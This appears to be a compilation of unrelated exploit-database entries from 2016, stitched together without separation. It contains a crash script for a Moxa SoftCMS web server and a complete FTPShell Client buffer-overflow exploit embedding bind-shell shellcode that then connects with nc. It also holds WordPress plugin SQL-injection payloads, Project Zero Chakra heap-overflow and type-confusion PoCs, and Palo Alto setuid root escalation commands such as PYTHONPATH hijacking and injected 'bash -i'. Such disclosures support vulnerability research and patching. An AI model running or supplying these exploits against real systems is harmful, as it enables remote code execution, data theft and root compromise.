Vulnerability Discovery Method:
With the help of kitty fuzzing framework, we are able to find some vulnerabilities of the AspWebServer when parsing HTTP GET request. Details of the fuzzer scripts and output can be found here: https://github.com/dazhouzhou/ICS-Vulnerabilities/tree/master/Moxa/SoftCMS .
'''
import socket
host = '192.168.124.128'
port = 81
# extracted four payloads from crashes that can crash the AspWebServer.exe
payload1 = 'GET /\ HTTP/1.1\r\n\r\n'
payload2 = 'GET \x00 HTTP/1.1\r\n\r\n'
payload3 = 'GET \n HTTP/1.1\r\n\r\n'
payload4 = 'GET /. HTTP/1.1\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload1)
s.close()
# -*- coding: utf-8 -*-
# Exploit Title: FTPShell Client v5.24 PWD Remote Buffer Overflow
# Date: 16/11/2016
# Author: Yunus YILDIRIM (Th3GundY)
# Team: CT-Zer0 (@CRYPTTECH) - http://www.ct-zer0.com
# Author Website: http://yildirimyunus.com
# Contact: yunusyildirim@protonmail.com
# Software Link: http://www.ftpshell.com/downloadclient.htm
# Tested on: Windows XP Professional SP 2
# Tested on: Windows 7 Ultimate 32bit, Home Premium 64bit
import socket
import sys
import os
import time
def banner():
banner = "\n\n"
banner += " ██████╗████████╗ ███████╗███████╗██████╗ ██████╗ \n"
banner += " ██╔════╝╚══██╔══╝ ╚══███╔╝██╔════╝██╔══██╗██╔═████╗ \n"
banner += " ██║ ██║█████╗ ███╔╝ █████╗ ██████╔╝██║██╔██║ \n"
banner += " ██║ ██║╚════╝███╔╝ ██╔══╝ ██╔══██╗████╔╝██║ \n"
banner += " ╚██████╗ ██║ ███████╗███████╗██║ ██║╚██████╔╝ \n"
banner += " ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ \n"
banner += " \n"
print banner
def usage():
banner()
print "[-] Missing arguments\n"
print "[*] Usage: python FTPShell-exploit.py target_os"
print "[*] Target types:\n\tWindows XP -> winxp\n\tWindows 7-32bit -> win7_32\n\tWindows 7-64bit -> win7_64\n"
sys.exit(0)
def exploit(target_eip):
s0ck3t = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s0ck3t.bind(("0.0.0.0", 21))
s0ck3t.listen(5)
print "[*] CT-Zer0 Evil FTP Server Listening port 21\n"
# \x00\x0a\x0d\x22\xff
# msfvenom -p windows/shell_bind_tcp LPORT=5656 -f c -b '\x00\x0a\x0d\x22\xff'
shellcode = ("\xbb\x61\xad\x84\xdf\xda\xcc\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x53\x31\x5a\x12\x83\xc2\x04\x03\x3b\xa3\x66\x2a\x47\x53\xe4"
"\xd5\xb7\xa4\x89\x5c\x52\x95\x89\x3b\x17\x86\x39\x4f\x75\x2b"
"\xb1\x1d\x6d\xb8\xb7\x89\x82\x09\x7d\xec\xad\x8a\x2e\xcc\xac"
"\x08\x2d\x01\x0e\x30\xfe\x54\x4f\x75\xe3\x95\x1d\x2e\x6f\x0b"
"\xb1\x5b\x25\x90\x3a\x17\xab\x90\xdf\xe0\xca\xb1\x4e\x7a\x95"
"\x11\x71\xaf\xad\x1b\x69\xac\x88\xd2\x02\x06\x66\xe5\xc2\x56"
"\x87\x4a\x2b\x57\x7a\x92\x6c\x50\x65\xe1\x84\xa2\x18\xf2\x53"
"\xd8\xc6\x77\x47\x7a\x8c\x20\xa3\x7a\x41\xb6\x20\x70\x2e\xbc"
"\x6e\x95\xb1\x11\x05\xa1\x3a\x94\xc9\x23\x78\xb3\xcd\x68\xda"
"\xda\x54\xd5\x8d\xe3\x86\xb6\x72\x46\xcd\x5b\x66\xfb\x8c\x33"
"\x4b\x36\x2e\xc4\xc3\x41\x5d\xf6\x4c\xfa\xc9\xba\x05\x24\x0e"
"\xbc\x3f\x90\x80\x43\xc0\xe1\x89\x87\x94\xb1\xa1\x2e\x95\x59"
"\x31\xce\x40\xf7\x39\x69\x3b\xea\xc4\xc9\xeb\xaa\x66\xa2\xe1"
"\x24\x59\xd2\x09\xef\xf2\x7b\xf4\x10\xea\x63\x71\xf6\x78\x84"
"\xd7\xa0\x14\x66\x0c\x79\x83\x99\x66\xd1\x23\xd1\x60\xe6\x4c"
"\xe2\xa6\x40\xda\x69\xa5\x54\xfb\x6d\xe0\xfc\x6c\xf9\x7e\x6d"
"\xdf\x9b\x7f\xa4\xb7\x38\xed\x23\x47\x36\x0e\xfc\x10\x1f\xe0"
"\xf5\xf4\x8d\x5b\xac\xea\x4f\x3d\x97\xae\x8b\xfe\x16\x2f\x59"
"\xba\x3c\x3f\xa7\x43\x79\x6b\x77\x12\xd7\xc5\x31\xcc\x99\xbf"
"\xeb\xa3\x73\x57\x6d\x88\x43\x21\x72\xc5\x35\xcd\xc3\xb0\x03"
"\xf2\xec\x54\x84\x8b\x10\xc5\x6b\x46\x91\xf5\x21\xca\xb0\x9d"
"\xef\x9f\x80\xc3\x0f\x4a\xc6\xfd\x93\x7e\xb7\xf9\x8c\x0b\xb2"
"\x46\x0b\xe0\xce\xd7\xfe\x06\x7c\xd7\x2a")
buffer = "A" * 400 + target_eip + "\x90" * 40 + shellcode
while True:
victim, addr = s0ck3t.accept()
victim.send("220 CT-Zer0 Evil FTP Service\r\n")
print "[*] Connection accepted from %s\n" % addr[0]
while True:
data = victim.recv(1024)
if "USER" in data:
victim.send("331 User name okay, need password\r\n\r\n")
print "\t[+] 331 USER = %s" % data.split(" ")[1],
elif "PASS" in data:
victim.send("230 Password accepted.\r\n230 User logged in.\r\n")
print "\t[+] 230 PASS = %s" % data.split(" ")[1],
elif "PWD" in data:
victim.send('257 "' + buffer + '" is current directory\r\n')
print "\t[+] 257 PWD"
print "\n[*] Exploit Sent Successfully\n"
time.sleep(2)
print '[+] You got bind shell on port 5656\n'
os.system('nc ' + str(addr[0]) + ' 5656')
if len(sys.argv) != 2:
usage()
else:
banner()
try:
if sys.argv[1] == "winxp":
# 7C80C75B JMP EBP kernel32.dll
target_eip = "\x5B\xC7\x80\x7C"
elif sys.argv[1] == "win7_32":
# 76ad0299 jmp ebp [kernel32.dll]
target_eip = "\x99\x02\xAD\x76"
elif sys.argv[1] == "win7_64":
# 7619dfce jmp ebp [kernel32.dll]
target_eip = "\xCE\xDF\x19\x76"
else:
usage()
exploit(target_eip)
except:
print "\n[O_o] KTHXBYE! [O_o]"
# Exploit Title: BBS e-Franchise 1.1.1 Plugin of WordPress – Sql Injection
# Date: 12/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/bbs-e-franchise/
# Software Link: https://wordpress.org/plugins/bbs-e-franchise/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.1.1
# Tested on: Windows 8.1
1 - Description:
$_GET[‘uid’] is not escaped. Url is accessible for any user.
I will have find post or page that usage plugin, that use shortcode
http://lenonleite.com.br/en/blog/2016/11/18/bbs-e-franchise-1-1-1-plugin-of-wordpress-sql-injection/
2 - Proof of Concept:
http://target/2016/09/26/ola-mundo-2/?uid=0+UNION+SELECT+1,2,3,4,name,6,7,8,9,10,11,12,13,14,15,slug,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+FROM+wp_terms+WHERE+term_id=1
3 - Timeline:
12/11/2016 - Discovered
12/11/2016 - vendor not found
# Exploit Title: Product Catalog 8 1.2 Plugin WordPress – Sql Injection
# Date: 12/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/product-catalog-8/
# Software Link: https://wordpress.org/plugins/product-catalog-8/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.2
# Tested on: Windows 8.1
1 - Description:
$_POST[ ‘selectedCategory’ ] is not escaped.
UpdateCategoryList() is accessible for any user.
http://lenonleite.com.br/en/blog/2016/11/18/product-catalog-8-plugin-wordpress-sql-injection/
2 - Proof of Concept:
<form method="post" action="http://target/wp-admin/admin-ajax.php">
<input type="text" name="selectedCategory" value="0 UNION SELECT 1,2,3,4,5,6 FROM wp_terms WHERE term_id=1">
<input type="text" name="action" value="UpdateCategoryList">
<input type="submit" value="Send">
</form>
3 - Timeline:
12/11/2016 - Discovered
12/11/2016 - vendor not found
--
Atenciosamente
Lenon Leite
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=945
JavascriptArray::FillFromPrototypes is a method that is used by several Javascript functions available in the browser to set the native elements of an array to the values provide by its prototype. This function calls JavascriptArray::ForEachOwnMissingArrayIndexOfObject with the prototype of the object as a parameter, and if the prototype of the object is an array, it assumes that it is a Var array. While arrays are generally converted to var arrays if they are set as an object's prototype, if an object's prototype is a Proxy object, it can return a parent prototype that is a native int array. This can lead to type confusing, allowing an integer to be treated as an absolute pointer, when JavascriptArray::FillFromPrototypes is called. A minimal PoC is as follows, and a full PoC is attached.
var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);
var handler = {
getPrototypeOf: function(target, name){
return a;
}
};
var p = new Proxy([], handler);
var b = [{}, [], "natalie"];
b.__proto__ = p;
b.length = 4;
a.shift.call(b);
// b[2] is type confused
-->
<html>
<body>
<script>
var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);
var handler = {
getPrototypeOf: function(target, name){
// print("get proto");
return a;
}
};
var p = new Proxy([], handler);
var b = [{}, [], "natalie"];
b.__proto__ = p;
b.length = 4;
a.shift.call(b);
print(a.shift.call(b[2]));
</script>
</body>
</html>
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=922
There is an info leak in Array.filter. In Chakra, the destination array that arrays are filtered into is initialized using ArraySpeciesCreate, which can create both native and variable arrays. However, the loop that calls the filter function assumes that the destination array is a variable array, and sets each value using DirectSetItemAt, which is unsafe, and can lead to a var pointer being written to an integer array. A PoC is as follows and attached:
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{
constructor(){
return d;
}
}
class MyArray extends Array {
static get [Symbol.species]() {
return dummy;
}
}
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
function test(i){
return true;
}
a.__proto__ = MyArray.prototype;
var o = a.filter(test);
var h = [];
for(item in o){
var n = new Number(o[item]);
if (n < 0){
n = n + 0x100000000;
}
h.push(n.toString(16));
}
alert(h);
<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{
constructor(){
alert("in constructor");
return d;
}
}
class MyArray extends Array {
// Overwrite species to the parent Array constructor
static get [Symbol.species]() {
alert("get");
b[0] = {};
return dummy; }
}
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
function test(i){
return true;
}
a.__proto__ = MyArray.prototype;
var o = a.filter(test);
alert(o);
var h = [];
for(item in o){
var n = new Number(o[item]);
if (n < 0){
n = n + 0x100000000;
}
h.push(n.toString(16));
}
alert(h);
</script></body></html>
https://bugs.chromium.org/p/project-zero/issues/detail?id=922#c1
I looked a bit more into this issue, and I think it can actually be used to corrupt the heap too. The issue is that DirectSetItemAt is called on an int array when it thinks it's a Var array. But since elements of a Var array are twice as wide as elements of the int array, setting items at indexes larger than half the array length will write outside of the allocated array. I've attached a sample that crashes Edge and demonstrates the overflow.
-->
<html>
<body>
<script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
d.length = 0x200000;
d.fill(7);
class dummy{
constructor(){
alert("in constructor");
return d;
}
}
class MyArray extends Array {
// Overwrite species to the parent Array constructor
static get [Symbol.species]() {
alert("get");
b[0] = {};
return dummy; }
}
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
for(var i = 0; i < 0x200000; i++){
a[i] = i;
}
function test(i){
return true;
}
a.__proto__ = MyArray.prototype;
var o = a.filter(test);
alert(o);
var h = [];
for(item in o){
var n = new Number(o[item]);
if (n < 0){
n = n + 0x100000000;
}
h.push(n.toString(16));
}
alert(h);
</script>
</body>
</html>
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=925
There is an overflow when reversing arrays in Chakra.
On line 5112 of JavascriptArray::EntryReverse, the length of the array is fetched and stored. It is then passed as a parameter into JavascriptArray::ReverseHelper, which then calls FillFromPrototypes, which can change the size of the array. If the size of the array is set to be larger than it was when the length was fetched, the calculation of the array segment head left value on line 5219:
seg->left = ((uint32)length) - (seg->left + seg->length);
Can become a very large value (as length is larger than seg->length and seg->left is generally 0). This can cause the segment length to become larger than the segment size the next time SparseArraySegmentBase::EnsureSizeInBound is called, as the method contains the following code:
uint32 nextLeft = next ? next->left : JavascriptArray::MaxArrayLength;
Assert(nextLeft > left);
if(size != 0)
{
size = min(size, nextLeft - left);
}
nextLeft can be smaller than the segment length if next is null and left is very large, leading size to be set to a small value which is less than the segment length. Many other methods, including setting an element of an array assume that size is less than length, and often allocate size bytes then copy length bytes, leading to an overflow if length is actually more than size.
A minimal PoC is as follows:
var a = [1];
a.length = 1000;
var j = [];
var o = {};
Object.defineProperty(o, '1', {
get: function() {
a.length = 1002;
j.fill.call(a, 7.7);
return 2;
}
});
a.__proto__ = o;
var r = j.reverse.call(a);
r.length = 0xfffffffe;
r[0xfffffffe - 1] = 10;
A full PoC is attached. Note that this PoC sometimes needs to be refreshed a few times to cause a crash.
-->
<html>
<head><meta http-equiv="refresh" content="1">
</head>
<body>
<script>
var a = [1];
a.length = 1000;
var j = [];
var o = {};
Object.defineProperty(o, '1', {
get: function() {
//alert('get!');
a.length = 1002;
j.fill.call(a, 7.7);
return 2;
}
});
a.__proto__ = o;
var place = [];
for(var i = 0; i < 10; i++){
var r = j.reverse.call(a);
r.length = 0xfffffffe;
r[0xfffffffe - 1] = 10;
var q = [1,2,3,4,5,6,7,8,9,10];
place.push(q);
}
//alert(place.join());
</script>
</body>
</html>
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=934
There is a heap overflow in Array.splice in Chakra.
When an array is spliced, and overflow check is performed, but ArraySpeciesCreate, which can execute code and alter the array is called after this. This can allow an Array with boundaries that cause integer overflows to be spliced, leading to heap overflows in several situations.
A minimal PoC is as follows and a full PoC is attached.
var a = [];
class dummy{}
a.length = 200000;
a.fill(7, 10000, 10200);
var o = {};
Object.defineProperty(o, 'constructor', {
get: function() {
a.length = 0xfffffffe;
var k = [];
k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
return dummy;
}
});
a.__proto__ = o;
var q = [];
q.length = 500;
q.fill(7.7);
var j = [];
a.length = 0xfffffffe - 500;
j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;
This PoC is a bit unreliable, it may need to be refreshed a few times to crash.
-->
<html>
<head>
<meta http-equiv="refresh" content="1">
</head>
<body>
<script>
var a = [];
class dummy{}
a.length = 200000;
a.fill(7, 10000, 10200);
var o = {};
Object.defineProperty(o, 'constructor', {
get: function() {
a.length = 0xfffffffe;
var k = [];
k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
return dummy;
}
});
a.__proto__ = o;
var q = [];
q.length = 500;
q.fill(7.7);
var j = [];
a.length = 0xfffffffe - 500;
j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;
</script>
</body>
</html>
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=912
The setuid root executable /usr/local/bin/root_trace essentially just does setuid(0) then system("/usr/local/bin/masterd"), which is a python script:
$ ls -l /usr/local/bin/root_trace
-rwsr-xr-x 1 root root 12376 Oct 17 2014 /usr/local/bin/root_trace
As the environment is not scrubbed, you can just do something like this:
$ cat /tmp/sysd.py
import os
os.system("id")
os._exit(0);
$ PYTHONPATH=/tmp root_trace
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)
This was fixed by PAN:
http://securityadvisories.paloaltonetworks.com/Home/Detail/67
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=913
This was fixed by PAN: http://securityadvisories.paloaltonetworks.com/Home/Detail/67
The root_reboot utility is setuid root, but performs multiple calls to system() with attacker controlled data, such as this one:
.text:0804870F C7 44 24 04 78+ mov dword ptr [esp+4], offset aUsrLocalBinPan ; "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 "...
.text:08048717 89 04 24 mov [esp], eax ; char **
.text:0804871A E8 0D FE FF FF call _asprintf
.text:0804871F 8B 45 E8 mov eax, [ebp+new]
.text:08048722 85 C0 test eax, eax
.text:08048724 0F 84 B9 01 00+ jz loc_80488E3
.text:0804872A 89 04 24 mov [esp], eax ; command
.text:0804872D E8 9A FD FF FF call _system
Which is trying to do this:
if (setuid(0) < 0)
{
fprintf(stderr, "%s: Can't setuid to reboot system\n");
}
if (reason) {
asprintf(&new, "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 -m \"The system is shutting down due to %s.\"", reason);
system(new);
free(new);
}
This is trivially exploitable, for example:
$ ls -l /usr/local/bin/root_reboot
-rwsr-xr-x 1 root root 16275 Oct 17 2014 /usr/local/bin/root_reboot
$ root_reboot --restart '"; bash -i; echo "'
# id
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)
Palo Alto pointed out that they had already fixed this bug in an update that I needed to apply:
https://securityadvisories.paloaltonetworks.com/Home/Detail/45
However, looking at the fix they had essentially just checked that each character in the "reason" parameter was alphanumeric or white space. This does not prevent exploitation, you can just do this:
$ env SHELLOPTS=xtrace PS4='$(id)' root_reboot --restart whatever
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)